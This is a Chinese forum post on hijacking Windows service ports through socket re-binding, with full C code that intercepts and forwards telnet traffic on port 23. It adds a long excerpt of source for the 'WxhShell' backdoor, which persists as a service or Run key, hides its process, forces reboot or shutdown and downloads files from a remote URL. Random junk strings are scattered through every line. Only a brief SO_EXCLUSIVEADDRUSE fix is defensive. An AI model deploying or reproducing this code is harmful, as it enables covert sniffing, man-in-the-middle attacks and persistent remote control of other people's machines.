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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8xENzTR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); - )(5^OQ  
Bf*>q*%B{  
  saddr.sin_family = AF_INET; u@dvFzc  
ktrIi5B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0g[ %)C  
|RL#BKC`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S L 5k^|  
sQ`G'<!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y@!M<#SEzG  
U> lf-iI2B  
  这意味着什么?意味着可以进行如下的攻击: b$klm6nMvm  
9:p-F+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y'iI_cg  
KAnV%j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) opa}z-7>^  
"`ftcJUd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >[Vc$[62  
d#E&,^@M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3q73L<f  
{3x>kRaKci  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0Ncpi=6  
Ms|c" ?se  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yU!1q}L!  
XSC=qg$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6C&&="uww  
iv>MIdIm  
  #include [XY%<P3D  
  #include ^m%#1Zd  
  #include Dsm1@/"i|7  
  #include    R1H^CJ=v0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !Q[v"6?  
  int main() mxqD'^n#  
  { +7b8ye  
  WORD wVersionRequested; Ip'tB4Mq  
  DWORD ret; o*H U^  
  WSADATA wsaData; yIL=jzm`7  
  BOOL val; upuN$4m&{  
  SOCKADDR_IN saddr; JVu j u$k  
  SOCKADDR_IN scaddr; I5M\PK/  
  int err; {[2o  
  SOCKET s; ~snj92K  
  SOCKET sc; 6|NH*#s  
  int caddsize; _P.I+!w:x  
  HANDLE mt; (j'\h/  
  DWORD tid;   a%r!55.   
  wVersionRequested = MAKEWORD( 2, 2 ); I&+.IK_  
  err = WSAStartup( wVersionRequested, &wsaData ); _4N.]jr5  
  if ( err != 0 ) { /i"hViCrlG  
  printf("error!WSAStartup failed!\n"); G[mqLI{q  
  return -1; 8Nzn%0(Q  
  } [1vm~w'  
  saddr.sin_family = AF_INET; Qx4)'n  
   6axxyh%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S=k!8]/d|  
59oTU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NVb}uH*i  
  saddr.sin_port = htons(23); A5Hx $.Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *|=D 0  
  { E /H%q|q  
  printf("error!socket failed!\n"); WhW}ZS'r  
  return -1; (C. $w  
  } sYS 8]JU  
  val = TRUE; <'4Wne.z!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2V@5:tf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q("m*eMRt  
  { |<c9ZS+  
  printf("error!setsockopt failed!\n"); ;JkIZ8!  
  return -1; qO"QSSbZqQ  
  } BsFO]F5mmX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Gt&yz"?D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uJ2ZHrJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CC=I|/mBM  
0i\>(o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) STnMBz7  
  { TAUl{??,  
  ret=GetLastError(); iTinZ!Ut  
  printf("error!bind failed!\n"); MUl`0H"tR  
  return -1; J920A^)j!  
  } )(]rUJ~+~A  
  listen(s,2); c$  /.Xp  
  while(1) oSrA4g  
  { 9CS" s_  
  caddsize = sizeof(scaddr); wK2$hsque  
  //接受连接请求 c= t4 gf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \r IOnZ.WK  
  if(sc!=INVALID_SOCKET) Tg^8a,Lt  
  { *R+M#l9D`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >IS4  
  if(mt==NULL) Y)k"KRW+  
  { _AF$E"f@  
  printf("Thread Creat Failed!\n"); F qJ`d2E  
  break; $?F_Qsy{d  
  } uM$b/3%s  
  } jP<6J(  
  CloseHandle(mt); ^!B]V>L-  
  } l0G{{R 0Y  
  closesocket(s); p|gVIsg[-e  
  WSACleanup(); h.?<( I  
  return 0; ,IhQ%)l  
  }   fa]8v6  
  DWORD WINAPI ClientThread(LPVOID lpParam) n}Z%-w$K#  
  { 3DO*kM1s@  
  SOCKET ss = (SOCKET)lpParam; fP<== DK  
  SOCKET sc; ,$!fyi[;C  
  unsigned char buf[4096]; 5:38}p9`  
  SOCKADDR_IN saddr; A@~9r9Uf  
  long num; nrE.0Ue1  
  DWORD val; NCg("n,jx  
  DWORD ret; }'vQUG u8z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z>+CMH5L)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n5"i'o{w  
  saddr.sin_family = AF_INET; \GHj_r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JQ ?8yl  
  saddr.sin_port = htons(23); c k[uvH   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N#-%b"(  
  { +9LzDH  
  printf("error!socket failed!\n"); <>KQ8:  
  return -1; d3a!s  
  } MA{ZmPm)  
  val = 100; F+G+XtOS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ih("`//nP  
  { lrPIXIM  
  ret = GetLastError(); nd\$Y  
  return -1; s-6$C  
  } }cUO+)!Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ebY_*  
  { _$A?  
  ret = GetLastError(); %a8e_  
  return -1; Rex 86!TO  
  }  ~9YEb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bfb9A+]3'  
  { V,Bol(wY  
  printf("error!socket connect failed!\n"); k0FAI0~(  
  closesocket(sc); nCV7(ldmH  
  closesocket(ss); b$Ei>%'/";  
  return -1; @(6P L^I  
  } t0<RtIh9e  
  while(1) P7X3>5<;q  
  { Cw!tB1D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wg k[_i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /V/ )A\g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kxrYA|x  
  num = recv(ss,buf,4096,0); d8Cd4qIXX  
  if(num>0) Z @DDuVr  
  send(sc,buf,num,0); 4QC_zyTE  
  else if(num==0) 6*1f -IbV  
  break; VeEa17g&  
  num = recv(sc,buf,4096,0); _`*G71PS  
  if(num>0) a$iDn_{  
  send(ss,buf,num,0); -jNnx*  
  else if(num==0)  !Qsjn  
  break; hBz>E 4mEv  
  } )yz)Fw|&  
  closesocket(ss); wKpD++k  
  closesocket(sc); wU/fGg*M2  
  return 0 ; wqjR-$c  
  } $PlMyLu7jc  
< h|&7  
S6JWsi4C:,  
========================================================== [Tvdchl OC  
G ` eU   
下边附上一个代码,,WXhSHELL ?hrz@k|  
(bpxj3@R  
========================================================== n%}#e!  
k8+U0J_{'  
#include "stdafx.h" 'aeuL1mz  
:"nh76xg<  
#include <stdio.h> ;B }4pv}  
#include <string.h> @eESKg(,  
#include <windows.h> cl{mRt0  
#include <winsock2.h> /nh3/[u  
#include <winsvc.h> ".pQM.T  
#include <urlmon.h> m.gv?  
A[F@rUZp  
#pragma comment (lib, "Ws2_32.lib") W8-vF++R  
#pragma comment (lib, "urlmon.lib") Vvv;m5.  
N]ebKe  
#define MAX_USER   100 // 最大客户端连接数 >~'z%  
#define BUF_SOCK   200 // sock buffer {EVy.F  
#define KEY_BUFF   255 // 输入 buffer 8wkt9:  
%5n'+-XVj  
#define REBOOT     0   // 重启 F[B=sI  
#define SHUTDOWN   1   // 关机 [s] ZT  
s gZlk9x!Q  
#define DEF_PORT   5000 // 监听端口 b`GKGqbJ  
#op0|:/N  
#define REG_LEN     16   // 注册表键长度 QM~~b=P,\  
#define SVC_LEN     80   // NT服务名长度 cQ`0d3  
ra@CouR^c{  
// 从dll定义API !@arPN$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EACI>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JZ> (h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (*T$:/zI S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fL-$wK<p<  
]T.+(\I  
// wxhshell配置信息 vr6YE;Rs  
struct WSCFG { * ]D{[hV  
  int ws_port;         // 监听端口 4l> d^L  
  char ws_passstr[REG_LEN]; // 口令 fMM%,/b{  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q^xk]~G$(  
  char ws_regname[REG_LEN]; // 注册表键名 AW!A +?F6  
  char ws_svcname[REG_LEN]; // 服务名 |v 1* [(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u&o$2 '8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U?5G%o(q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mO8/eVws[M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lO0}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s+=':Gcb(C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cT;Zz5  
_S-@|9\&#  
}; /wP2Wnq$  
f'M([gn^_  
// default Wxhshell configuration z"Cyjmg"  
struct WSCFG wscfg={DEF_PORT,  5IF$M2j  
    "xuhuanlingzhe", #veV {,g  
    1, uZI7,t-7  
    "Wxhshell", }EJ/H3<  
    "Wxhshell", :s-9@Yl|  
            "WxhShell Service", 4_$.gO  
    "Wrsky Windows CmdShell Service", U9 mK^  
    "Please Input Your Password: ", @:>gRD  
  1, 6V#EEb  
  "http://www.wrsky.com/wxhshell.exe", OF-VVIS  
  "Wxhshell.exe" -_O j iQ R  
    }; uotW[L9  
ki1j~q  
// 消息定义模块 *D9H3M[o#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (qz)3Fa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }WBHuVcZG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bx5kqHp^1  
char *msg_ws_ext="\n\rExit."; dT (i*E\j  
char *msg_ws_end="\n\rQuit."; 6}|h  
char *msg_ws_boot="\n\rReboot..."; T4[/_;1g  
char *msg_ws_poff="\n\rShutdown..."; V\l@_%D[(v  
char *msg_ws_down="\n\rSave to "; G!h75G20  
|f.,fVVV;  
char *msg_ws_err="\n\rErr!"; Z a S29}  
char *msg_ws_ok="\n\rOK!"; qOnGP{   
;BKU _}k=  
char ExeFile[MAX_PATH]; |>.</68Z  
int nUser = 0; Tf? `_jL  
HANDLE handles[MAX_USER]; 8.+ yZTg  
int OsIsNt; ;P/ 4.|<  
8%xBSob{j  
SERVICE_STATUS       serviceStatus; :M<] 6o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }6=)w@v  
:F@goiuC  
// 函数声明 ED>a'y$f  
int Install(void); !ab ef.%:  
int Uninstall(void); LhM$!o?W  
int DownloadFile(char *sURL, SOCKET wsh); ;Me*# /  
int Boot(int flag); U=U5EdN;  
void HideProc(void); {t!7r_hj  
int GetOsVer(void); j-DWz>x  
int Wxhshell(SOCKET wsl); Vo6g /h?`  
void TalkWithClient(void *cs); %qTIT?6'  
int CmdShell(SOCKET sock); qPN9Put  
int StartFromService(void); vUOl@UQ5  
int StartWxhshell(LPSTR lpCmdLine); G#^0Bh&  
a ~W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qd#7A ksm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m]vV.pwv  
5Dz$_2oM3  
// 数据结构和表定义 #.$y   
SERVICE_TABLE_ENTRY DispatchTable[] = dM P'Vnfj  
{ H\\FAOj  
{wscfg.ws_svcname, NTServiceMain}, -5ZmIlL.S  
{NULL, NULL} .>P:{''  
}; c %Cbq0+2  
D} j`T  
// 自我安装 ~id:Rh>o  
int Install(void) Im@OAR4,R  
{ uoeZb=<  
  char svExeFile[MAX_PATH]; <c:H u{D  
  HKEY key; 2lOUNxQ$  
  strcpy(svExeFile,ExeFile); 6)P.wW  
0K26\1  
// 如果是win9x系统,修改注册表设为自启动 w>=N~0@t  
if(!OsIsNt) { P)J-'2{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d!YP{y P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y?3tf0t/  
  RegCloseKey(key); lG%697P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #jW=K&;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lw.[qP  
  RegCloseKey(key); q CYu@Ho  
  return 0; |iUC\F=-  
    } *X2PT(e[  
  } l:uQ#Z)  
} E G\;l9T  
else { oW 6Hufu+o  
kP ,8[r  
// 如果是NT以上系统,安装为系统服务 ?_Z -} f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }$'_%,  
if (schSCManager!=0) | |awNSt  
{ |D"L!+J-$  
  SC_HANDLE schService = CreateService J:Qx5;b;  
  ( 3IlVSR^py  
  schSCManager, MJ1qU}+]  
  wscfg.ws_svcname, k_7b0 dr%F  
  wscfg.ws_svcdisp, ?X@[ibH6  
  SERVICE_ALL_ACCESS, vk4 8&8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X3 kFJ{  
  SERVICE_AUTO_START, 'yq?xlIj  
  SERVICE_ERROR_NORMAL, hRu}P"  
  svExeFile, K4<"XF1A:  
  NULL, 0#!}s&j/  
  NULL, c&',#.9  
  NULL, PENB5+1OK  
  NULL, Pd"c*n&9  
  NULL ~io.TS|r  
  ); e8^/S^ =&d  
  if (schService!=0) AG=PbY9  
  { &l1t5 !  
  CloseServiceHandle(schService); *YvtT (Gt  
  CloseServiceHandle(schSCManager); aq}hlA(w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9]oT/ooM  
  strcat(svExeFile,wscfg.ws_svcname); vxEi C:&]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;WX.D]>{W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zdrP56rzZ  
  RegCloseKey(key); K6p\ >J  
  return 0; nLz;L r!  
    } vHcl7=)Q  
  } s_IFl5D]  
  CloseServiceHandle(schSCManager); x,25ROaHY  
} N wk  
} D5P-$1KPt  
O@a OKk  
return 1; :p/=KI_  
} Q!@M/@-Ky  
B]G2P`sN  
// 自我卸载 04Zdg:[3-!  
int Uninstall(void) Ne Y*l  
{ sT2`y$ '  
  HKEY key; AYfOETz  
cLf90|YFp  
if(!OsIsNt) { p;}`PW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `J,>#Y6(J  
  RegDeleteValue(key,wscfg.ws_regname); 0<!9D):Bb  
  RegCloseKey(key); -J+1V{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HZRFE[ 9nb  
  RegDeleteValue(key,wscfg.ws_regname); @e3+Gs  
  RegCloseKey(key); oLKliA=q  
  return 0; $5 mGYF]  
  } r4SwvxhG  
} ?g+3 URpK  
} ~ O\A 0e  
else { #ay/VlD@  
HAK,z0/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {TNORbZz  
if (schSCManager!=0) #17 &rizl  
{ kiM:(=5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3k/E$wOj  
  if (schService!=0) 3=uhy|f! /  
  { qo3+=*"V  
  if(DeleteService(schService)!=0) { $ uTrM8  
  CloseServiceHandle(schService); Gb `)d  
  CloseServiceHandle(schSCManager); 5`p9Xo>)yW  
  return 0; JyE-c}I  
  } >JE+j=  
  CloseServiceHandle(schService); 5HOl~E  
  } ; oa+Z:;f  
  CloseServiceHandle(schSCManager); g8MW6Y  
} i0{\c}r:4b  
} "ZGP,=?y2  
%oa@2qJ^  
return 1; USyc D`  
} JGHj(0j  
*xNc^ &.  
// 从指定url下载文件 c46-8z$  
int DownloadFile(char *sURL, SOCKET wsh) G%bv<_R  
{ 9{;L7`<  
  HRESULT hr; ~_EDJp1J  
char seps[]= "/"; +I3Vfv  
char *token; Zu|NF uFI  
char *file; gf8o~vKX$G  
char myURL[MAX_PATH]; >S:(BJMo  
char myFILE[MAX_PATH]; pCIS8 2L  
`qhT  
strcpy(myURL,sURL); IzTJ7E*i  
  token=strtok(myURL,seps); ZXb|3|D  
  while(token!=NULL) [M[#f&=Z  
  { LH4#p%Pb%  
    file=token; GLO3v. n;  
  token=strtok(NULL,seps); k)I4m.0a5  
  } hb; CpA  
KUU {X~w  
GetCurrentDirectory(MAX_PATH,myFILE); M6p\QKi  
strcat(myFILE, "\\"); f1aZnl  
strcat(myFILE, file); LnE/62){N  
  send(wsh,myFILE,strlen(myFILE),0); h_4*?w  
send(wsh,"...",3,0); >rQj1D)@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `r SOt *<  
  if(hr==S_OK) y-E'Y=j  
return 0; zF`a:dD$d  
else rB".!b  
return 1; oH=?1~ e  
phH@{mI  
} zk{d*gN  
ZJ%NZAxy  
// 系统电源模块 5c::U=  
int Boot(int flag) X?t;uZI^  
{ +ytP5K7  
  HANDLE hToken; f\oW<2k]~  
  TOKEN_PRIVILEGES tkp; 60%nQhb  
a9e0lW:=c  
  if(OsIsNt) { 7k*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s\ C ,5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v Z]j%c@  
    tkp.PrivilegeCount = 1; [mv? \HDa~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SN@>mpcJS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CqEbQ>?  
if(flag==REBOOT) { EmT_T 3v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GU> j8.  
  return 0; 8D)1ZUx7`  
} e;XRH<LhAU  
else { gf>H-718F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ct-eD-X{  
  return 0; [j/|)cj  
} [;ZCq!)>  
  } Kuh3.1#o  
  else { |*t2IVwX  
if(flag==REBOOT) { c"tlNf?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _<f%== I'  
  return 0; YT8q0BR]  
} h.R46:  
else { 5!A:xV]6]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w` +,  
  return 0; H4`>B>\  
} 9 RDs`>v  
} p+~Imf-Jk  
By6O@ .\V  
return 1; Zocuc"j  
} WwsNAJ  
XdA]);,  
// win9x进程隐藏模块 yL asoh  
void HideProc(void) Y}BP ]#1  
{ C<teZz8/w  
_5S0A0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *-=/"m  
  if ( hKernel != NULL ) ahg P"Qz  
  { g8E5"jpXx3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~/A2 :}Cp=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]*zG*.C  
    FreeLibrary(hKernel); ZhCd**  
  } =XQGg`8<LB  
k'%yvlv  
return; EXeV @kg  
} %Y0lMNP  
\2+ngq)  
// 获取操作系统版本 `=pA;R9  
int GetOsVer(void) ;5;>f)diS  
{ HgW!Q(*  
  OSVERSIONINFO winfo; %?n=I n(F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9LPXhxNwB  
  GetVersionEx(&winfo); b0'}BMJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e=h-}XRC  
  return 1; ;/V])4=  
  else AVLY|79#  
  return 0; \3ydNgl  
} *PlKl_nP6  
i?d545. u  
// 客户端句柄模块 :4[>]&:u3  
int Wxhshell(SOCKET wsl) [L-wAk:Fb  
{ W2-l_{  
  SOCKET wsh; eb}XooX  
  struct sockaddr_in client; ncadVheKt  
  DWORD myID; OU` !c[O  
VTR4uT-  
  while(nUser<MAX_USER) A-B>VX  
{ ]6^S: K_"  
  int nSize=sizeof(client); tkm@&e=e%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aC' 6  
  if(wsh==INVALID_SOCKET) return 1; ?IQDk|<%  
S=S/]]e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eN5F@isy  
if(handles[nUser]==0) h3E}Sa(MQ:  
  closesocket(wsh); G"3KYBN>  
else _l] 0V g`  
  nUser++; }9U_4k  
  } Ar~<l2,{r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &b,A-1`w_  
#]^C(qmb:  
  return 0; #k/T\PQ0s  
} 78:x{1nUM[  
|Wck-+}U  
// 关闭 socket \2~\c#-k  
void CloseIt(SOCKET wsh) /T  {R\  
{ "x]7 et,  
closesocket(wsh); )(.g~Q:  
nUser--; $<=d[ 6  
ExitThread(0); R-W.$-rF  
} T1RY1hb|g>  
~x4]p|)</  
// 客户端请求句柄 @\gE{;a8  
void TalkWithClient(void *cs) HLthVc w  
{ E0HE@pqr  
=n=!s{A:t  
  SOCKET wsh=(SOCKET)cs; O5:U2o-  
  char pwd[SVC_LEN]; 0H%zkJ>Q  
  char cmd[KEY_BUFF]; =Gj~:|;$  
char chr[1]; #D(=[F  
int i,j; &)Zv>P8z`  
Z= -fL  
  while (nUser < MAX_USER) {  HC/a  
1x/R  
if(wscfg.ws_passstr) { opn6 C )  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I)jAdd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P! j*4t  
  //ZeroMemory(pwd,KEY_BUFF); 3qu?qD  
      i=0; * #z@b  
  while(i<SVC_LEN) { &\5bo=5V  
txMC^-J2l  
  // 设置超时 YsiH=x  
  fd_set FdRead; J^DyhCs  
  struct timeval TimeOut; ? YIe<  
  FD_ZERO(&FdRead); *yZta:(w-W  
  FD_SET(wsh,&FdRead); h<'tQGC  
  TimeOut.tv_sec=8; {#@[ttw$U  
  TimeOut.tv_usec=0; 2RqV\Jik  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =<#++;!I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d'Dd66  
p}I\H ^"8+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )FA:wsy~E  
  pwd=chr[0]; d7&d FvG  
  if(chr[0]==0xd || chr[0]==0xa) { {fEb>  
  pwd=0; Kn?h  
  break; (B@\Dw8^  
  } K'E)?NW69  
  i++; ~EQ# %db  
    } ^*y 1Fn0  
tK+JmbB\  
  // 如果是非法用户,关闭 socket (bNoe(<qU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u]9 #d^%V  
} w!d(NA<|0]  
FSkX95  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UT 7'-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {SZv#MrK  
z}r  
while(1) { Ya<V@qd  
AEFd,;GF  
  ZeroMemory(cmd,KEY_BUFF); J*%IvRg  
|hDN$By  
      // 自动支持客户端 telnet标准   X$%W&:  
  j=0; hv|-`}#0  
  while(j<KEY_BUFF) { YoQQ ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r M}o)  
  cmd[j]=chr[0]; 931GJA~g  
  if(chr[0]==0xa || chr[0]==0xd) { [%Z{Mp'g  
  cmd[j]=0; 66MUrNW  
  break; SFEDR?s   
  } m("KLp8  
  j++;  = ~*Vfx  
    } r0\C2g_X  
Ak}`zIo  
  // 下载文件 -" r4  
  if(strstr(cmd,"http://")) { -Vmp6XY3q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {?cF2K#  
  if(DownloadFile(cmd,wsh)) :yw(Co]f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {?mb.~(  
  else UQb|J9HY4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v(uNqX.BC  
  } `Xi)';p  
  else { `lbRy($L  
%_39Wa  
    switch(cmd[0]) { KfC{/J\   
  YQ1rS X3  
  // 帮助 ^%U`|GBZp  
  case '?': { cwHbm%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pQ ul0]  
    break; e?GzvM'2  
  } DoN]v  
  // 安装 Hr}\-$  
  case 'i': { U4iVI#f  
    if(Install()) Ty;^3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [xdVuL;N  
    else :o:/RRp[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4jVd  
    break; I;{Ua *  
    } >@Na6BH5v  
  // 卸载 x_(K%0+Ca  
  case 'r': { L5wFbc"u  
    if(Uninstall()) zP$"6~.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cA90FqUH  
    else I3ugBLxVC3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gy'/)}}Z  
    break; PFbkkQKsT  
    } 5m>f1`4JS  
  // 显示 wxhshell 所在路径 )~w bu2;  
  case 'p': { Jg.^h1>x  
    char svExeFile[MAX_PATH]; X9&>.?r  
    strcpy(svExeFile,"\n\r"); ny<D1>{90  
      strcat(svExeFile,ExeFile); Kj-zEl  
        send(wsh,svExeFile,strlen(svExeFile),0); 7e)j|a-!<  
    break; AFsYP/g]  
    } }fhGofN$e  
  // 重启 2Fbg"de3-  
  case 'b': { pA\"Xe&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;_/!F}d  
    if(Boot(REBOOT)) wZj`V_3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DeQ ZDY //  
    else { hXc:y0 0  
    closesocket(wsh); @A-E  
    ExitThread(0); ?:7$c  
    } fV!~SX6S  
    break; ]];LA!n  
    } 7Ewq'Vu`y  
  // 关机  ]C-a[  
  case 'd': { i\ )$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w6AG:u  
